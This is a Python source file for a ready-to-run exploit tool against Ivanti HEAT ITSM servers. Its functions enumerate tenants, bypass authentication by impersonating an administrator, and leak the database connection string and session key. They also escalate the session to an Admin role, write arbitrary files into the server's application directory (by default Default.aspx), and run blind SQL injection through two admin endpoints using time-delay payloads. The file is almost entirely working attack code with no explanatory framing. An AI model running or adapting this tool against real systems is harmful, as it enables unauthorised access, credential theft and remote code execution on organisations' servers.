ivanti-itsm-exploit.py

from argparse import ArgumentParser
from datetime import datetime
from json import dumps
from os.path import expanduser
from re import DOTALL, IGNORECASE, findall, search
from secrets import choice
from string import ascii_letters, digits

from defusedxml.ElementTree import fromstring
from defusedxml.minidom import parseString
from requests import get, models, post

SID_COOKIE = "SID"

ITSM_BASE_PATH = "/HEAT/"
ITSM_AUTH_BYPASS_ENDPOINT = "/HEATSurveyProxy/SaaSSurvey.asmx"
ITSM_SELECT_ROLE_ENDPOINT = "/HEAT/Services/Session.asmx/SelectRole"
ITSM_ASSET_XML_ENDPOINT = "/HEAT/AdminUI/services/IntegrationNew.asmx/GetAssetXML"
ITSM_PACKAGE_ENDPOINT = "/HEAT/AdminUI/handlers/PackageImportHandler.ashx"
ITSM_DATA_IMPORT_ENDPOINT = "/HEAT/AdminUI/handlers/DataImportUpload.ashx"
ITSM_METADATA_ENDPOINT = "/HEAT/AdminUI/services/IntegrationNew.asmx/GetMetadataTable"
ITSM_LOCALFILEPATH_ENDPOINT = (
    "/HEAT/AdminUI/services/IntegrationNew.asmx/GetLocalFilePath"
)


def show_result(msg: str) -> None:
    now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    print(f"[{now}] [+] {msg}")


def show_action(msg: str) -> None:
    now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    print(f"[{now}] [*] {msg}")


def show_error(msg: str, response: models.Response | None = None) -> None:
    now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    if response is not None:
        print(
            f"[{now}] [!] {msg}\nHTTP STATUS CODE: {response.status_code}\nHTTP RESPONSE: \n{response.text}"
        )
    else:
        print(f"[{now}] [!] {msg}")


def generate_id(length=32):
    alphabet = digits
    return "".join(choice(alphabet) for _ in range(length))


def generate_filename(length=8):
    alphabet = ascii_letters
    return "".join(choice(alphabet) for _ in range(length))


class Ivanti:
    def __init__(
        self,
        url: str,
        tenant_id: str | None,
        proxy: str | None,
        sid: str | None,
        verbose: bool,
    ) -> None:
        if url.endswith(ITSM_BASE_PATH):
            url = url[: -len(ITSM_BASE_PATH)]

        self._base_url: str = url

        self._verbose = verbose
        self._csrf_token: str | None = None

        self._cookies: dict[str, str] = {}
        if sid is not None:
            self._cookies[SID_COOKIE] = sid

        self._proxies = {}
        if proxy is not None:
            self._proxies = {
                "http": proxy,
                "https": proxy,
            }

        self.tenant_id: str | None = tenant_id

    def _check_sid(self) -> None:
        if SID_COOKIE not in self._cookies:
            raise ValueError("SID cookie not set, please set --sid")

    def list_tenant_id(self) -> None:
        url = f"{self._base_url}{ITSM_BASE_PATH}"
        show_action(f"Listing tenants: {url}")
        response = get(url, verify=False, proxies=self._proxies)
        if response.status_code != 200:
            show_error("Failed to fetch tenants", response)
            return

        select_pattern = r'<select[^>]*id="Tenant"[^>]*>(.*?)</select>'
        select_match = search(select_pattern, response.text, flags=IGNORECASE | DOTALL)

        if select_match:
            select_content = select_match.group(1)

            option_pattern = r'<option[^>]*value="([^"]+)"[^>]*>[^<]+</option>'
            matches = findall(option_pattern, select_content, flags=IGNORECASE)

            show_action("[+] Tenants found:")
            for value in matches:
                print(f"- {value}")

        else:
            show_error(f"[!] No tenants were found at the specified URL: {url}")

    def auth_bypass(self, user: str) -> bool:
        url = f"{self._base_url}{ITSM_AUTH_BYPASS_ENDPOINT}"
        show_action(f"Bypassing authentication: {url}")

        headers = {
            "Content-Type": "text/xml; charset=utf-8",
            "SOAPAction": "http://www.frontrange.com/WebSurvey/AuthenticateAPI",
        }

        data = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <AuthenticateAPI xmlns="http://www.frontrange.com/WebSurvey/">
      <userId>{user}</userId>
      <tenantId>{self.tenant_id}</tenantId>
    </AuthenticateAPI>
  </soap:Body>
</soap:Envelope>
"""

        response = post(
            url, data=data, headers=headers, verify=False, proxies=self._proxies
        )

        if response.status_code != 200:
            show_error("Failed to bypass authentication", response)
            return False

        root = fromstring(response.text)
        if self._verbose:
            print(f"HTTP RESPONSE: \n{parseString(response.text).toprettyxml()}")

        namespaces = {
            "soap": "http://schemas.xmlsoap.org/soap/envelope/",
            "fr": "http://www.frontrange.com/WebSurvey/",
        }
        api_result = (
            root.find("soap:Body", namespaces)
            .find("fr:AuthenticateAPIResponse", namespaces)
            .find("fr:AuthenticateAPIResult", namespaces)
        )
        if api_result is None:
            show_error("Invalid XML", response)
            return False

        connection_string = api_result.find("fr:ConnectionString", namespaces)

        if connection_string is not None:
            show_result(f"Database connection string found: {connection_string.text}")

        session_key = api_result.find("fr:SessionKey", namespaces)

        if session_key is not None:
            show_result(f"Session key (SID) found: {session_key.text}")

        self._cookies[SID_COOKIE] = str(session_key.text)
        return self.set_role()

    def set_role(self) -> bool:
        if self._csrf_token is not None:
            return True
        url = f"{self._base_url}{ITSM_SELECT_ROLE_ENDPOINT}"
        show_action(f"Add Admin role to session: {url}")

        response = post(
            url,
            json={"sRole": "Admin", "_csrfToken": "null"},
            cookies=self._cookies,
            verify=False,
            proxies=self._proxies,
        )
        if response.status_code != 200:
            show_error("Failed to set role", response)
            return False

        show_result(f"Current role: {response.json()['d']['ActiveRole']}")
        self._csrf_token = response.json()["d"]["SessionCsrfToken"]
        show_result(f"CSRF Token: {self._csrf_token}")
        return True

    def upload_file(self, file: str, target_directory: str, target_filename: str):
        self._check_sid()
        if not self.set_role():
            return

        with open(expanduser(file), "r") as f:
            file_content = f.read()

        filename = generate_filename()
        files = {
            filename: (f"{filename}.csv", file_content, "text/plain"),
        }
        data = {"_csrfToken": self._csrf_token, "startIndex": 0}
        id = generate_id()
        params = {
            "inputFile": f"{filename}.csv",
            "id": id,
            "xmlType": 0,
            "_csrfToken": self._csrf_token,
        }
        url = f"{self._base_url}{ITSM_DATA_IMPORT_ENDPOINT}"

        show_action("Adding file in database")
        response = post(
            url,
            files=files,
            data=data,
            params=params,
            cookies=self._cookies,
            verify=False,
            proxies=self._proxies,
        )
        if response.status_code != 200:
            show_error("Failed: ", response)
            return False

        if self._verbose:
            print(f"HTTP RESPONSE: \n{response.text}")

        url = f"{self._base_url}{ITSM_METADATA_ENDPOINT}"

        show_action(f"Writing file connection id: {id}")
        connectionDef = {
            "Name": id,
            "DbConnectionString": "",
            "DbConnectionId": id,
            "DbUser": "HEATAdmin",
            "FileName": target_filename,
            "FilePath": "",
            "Protocol": "upload",
            "SampleFileName": "",
            "FileType": "csv",
            "FileDelimiter": ",",
            "FileDecimal": ".",
            "FileEncoding": "UTF-8",
            "TimeZoneOffset": "+00:00",
            "FileDateFormat": "MM-dd-yyyy",
            "FileTimeFormat": "H:m:s",
            "SSL": False,
            "XmlTableElement": "",
            "XmlRowElement": "",
            "XmlIncludeHeader": False,
            "XSLT": "",
            "ActiveFtp": "false",
            "UseGlobal": "false",
            "IsWizard": "true",
            "LocalFilePath": target_directory.replace("\\", "\\\\"),
            "BypassDownload": True,
        }

        body = {
            "connectionType": "FrontRange.Integration.Adapter.Connection.FileAdapterConnectionDef",
            "connectionDef": dumps(connectionDef),
            "tableName": filename,
            "_csrfToken": self._csrf_token,
        }
        response = post(
            url, json=body, cookies=self._cookies, verify=False, proxies=self._proxies
        )

        if response.status_code != 200:
            show_error("Failed: ", response)
            return False

        if self._verbose:
            print(f"HTTP RESPONSE: \n{response.text}")

        show_action("Checking file path")

        url = f"{self._base_url}{ITSM_LOCALFILEPATH_ENDPOINT}"
        body = {
            "sourceConnType": "FrontRange.Integration.Adapter.Connection.FileAdapterConnectionDef",
            "sourceConnDef": dumps(connectionDef),
            "tableName": filename,
            "_csrfToken": self._csrf_token,
        }
        response = post(
            url, json=body, cookies=self._cookies, verify=False, proxies=self._proxies
        )
        if response.status_code != 200:
            show_error("Failed: ", response)
            return False

        if self._verbose:
            print(f"HTTP RESPONSE: \n{response.text}")

        show_result(f"Success ! File written at: {response.json()['d']}")
        show_result(f"File URL: /HEAT/Input/{self.tenant_id}/{target_filename}")

    def sqli_package_handler(self, sql: str):
        self._check_sid()
        if not self.set_role():
            return

        url = f"{self._base_url}{ITSM_PACKAGE_ENDPOINT}"
        show_action(f"Exploiting PackageImportHandler.ashx SQLI : {url}")

        xml = f"""<?xml version="1.0" encoding="utf-8"?>
<Package Name="ITSM2016.2_PreUpgrade.MetadataPackage" ReleaseUpgrade="true" ClientSchemaVersion="1.1">
    <Metadata ClientSchemaVersion="1.1" Name="test">
        <Differences>
            <Updates>
                <Sql>
<Statements>
{sql}
GO
</Statements>
                </Sql>
            </Updates>
        </Differences>
        <Notes />
    </Metadata>
</Package>
"""
        filename = "ITSM2016.2.MetadataPackage"
        files = {
            filename: (f"{filename}", xml, "application/octet-stream"),
        }
        data = {
            "_csrfToken": self._csrf_token,
        }
        params = {
            "inputFile": f"{filename}",
        }

        response = post(
            url,
            files=files,
            data=data,
            params=params,
            cookies=self._cookies,
            verify=False,
            proxies=self._proxies,
        )

        if response.status_code != 200:
            show_error("Failed to exploit PackageImportHandler.ashx SQLI", response)
            return False

        show_result(f"Success ! HTTP RESPONSE: \n{response.text}")

    def sqli_get_asset_xml(
        self, sql: str, server: str, database: str, user: str, password: str
    ) -> None:
        self._check_sid()
        if not self.set_role():
            return

        url = f"{self._base_url}{ITSM_ASSET_XML_ENDPOINT}"
        show_action(f"Exploiting GetAssetXML SQLI : {url}")

        mappingdef = {
            "SourceObjects": [""],
            "FilterDef": None,
            "FusionLink": False,
            "FieldMapDefs": [],
        }
        sourceConnDef = {
            "Server": server,
            "Database": database,
            "Id": user,
            "PW": password,
            "RootTable": sql,
            "RootTableKey": "1",
        }

        data = {
            "sourceConnType": "FrontRange.Integration.Adapter.Connection.SCCMAdapterConnectionDef",
            "sourceConnDef": dumps(sourceConnDef),
            "mappingDef": dumps(mappingdef),
            "rootTableName": "",
            "rootTableKey": "",
            "batchSize": "200",
            "bypassDownload": True,
            "_csrfToken": self._csrf_token,
        }
        response = post(
            url, json=data, cookies=self._cookies, verify=False, proxies=self._proxies
        )
        if response.status_code != 200:
            show_error("Failed to exploit GetAssetXML SQLI", response)
            return False

        show_result(f"Success ! HTTP RESPONSE: \n{response.text}")


def main() -> None:
    parser = ArgumentParser(description="ITSM exploits")
    parser.add_argument("-u", "--url", type=str, required=True, help="Target URL")
    parser.add_argument(
        "-v", "--verbose", action="store_true", help="Display response content"
    )
    parser.add_argument("-t", "--tenant-id", type=str, help="Tenant ID")
    parser.add_argument("-p", "--proxy", type=str, help="Proxy")
    parser.add_argument("-s", "--sid", type=str, help="SID cookie session value")

    parser.add_argument(
        "--auth-bypass", action="store_true", help="Bypass authentication"
    )
    parser.add_argument(
        "--auth-bypass-user", type=str, help="User to impersonate", default="HEATAdmin"
    )

    parser.add_argument("--list-tenants", action="store_true", help="List tenants")

    subparsers = parser.add_subparsers(title="exploit", dest="exploit")

    upload = subparsers.add_parser("upload", help="Exploit arbitrary file write")
    upload.add_argument(
        "--file", type=str, help="Path of the file to upload", required=True
    )
    upload.add_argument(
        "--target-directory",
        type=str,
        help="File location on the server",
        default="C:\\\\Program Files\\\\HEAT Software\\\\HEAT\\\\AppServer\\\\",
    )
    upload.add_argument(
        "--target-filename",
        type=str,
        help="File name on the server",
        default="Default.aspx",
    )

    sqli_asset = subparsers.add_parser(
        "sqli-asset", help="Exploit SQLI on GetAssetXML endpoint (Blind)"
    )
    sqli_asset.add_argument(
        "--sql",
        type=str,
        help="SQL request (ex: master..syslogins WAITFOR DELAY '0:0:5'-- )",
        required=True,
    )
    sqli_asset.add_argument("-u", "--user", type=str, help="user", required=True)
    sqli_asset.add_argument(
        "-p", "--password", type=str, help="password", required=True
    )
    sqli_asset.add_argument(
        "-s", "--server", type=str, help="Database server", required=True
    )
    sqli_asset.add_argument(
        "-d", "--database", type=str, help="Database", required=True
    )

    sqli_package = subparsers.add_parser(
        "sqli-package",
        help="Exploit SQLI on PackageImportHandler.ashx endpoint (Blind)",
    )
    sqli_package.add_argument(
        "--sql",
        type=str,
        help="SQL request (ex: SELECT * from master..syslogins WAITFOR DELAY '0:0:20';)",
        required=True,
    )

    args = parser.parse_args()

    ivanti = Ivanti(args.url, args.tenant_id, args.proxy, args.sid, args.verbose)
    if args.list_tenants:
        ivanti.list_tenant_id()
        return

    if ivanti.tenant_id is None:
        show_error("Tenant ID is required (-t)")
        return

    if args.auth_bypass:
        if not ivanti.auth_bypass(args.auth_bypass_user):
            return

    if args.exploit == "upload":
        ivanti.upload_file(args.file, args.target_directory, args.target_filename)

    elif args.exploit == "sqli-asset":
        ivanti.sqli_get_asset_xml(
            args.sql, args.server, args.database, args.user, args.password
        )
    elif args.exploit == "sqli-package":
        ivanti.sqli_package_handler(args.sql)


if __name__ == "__main__":
    main()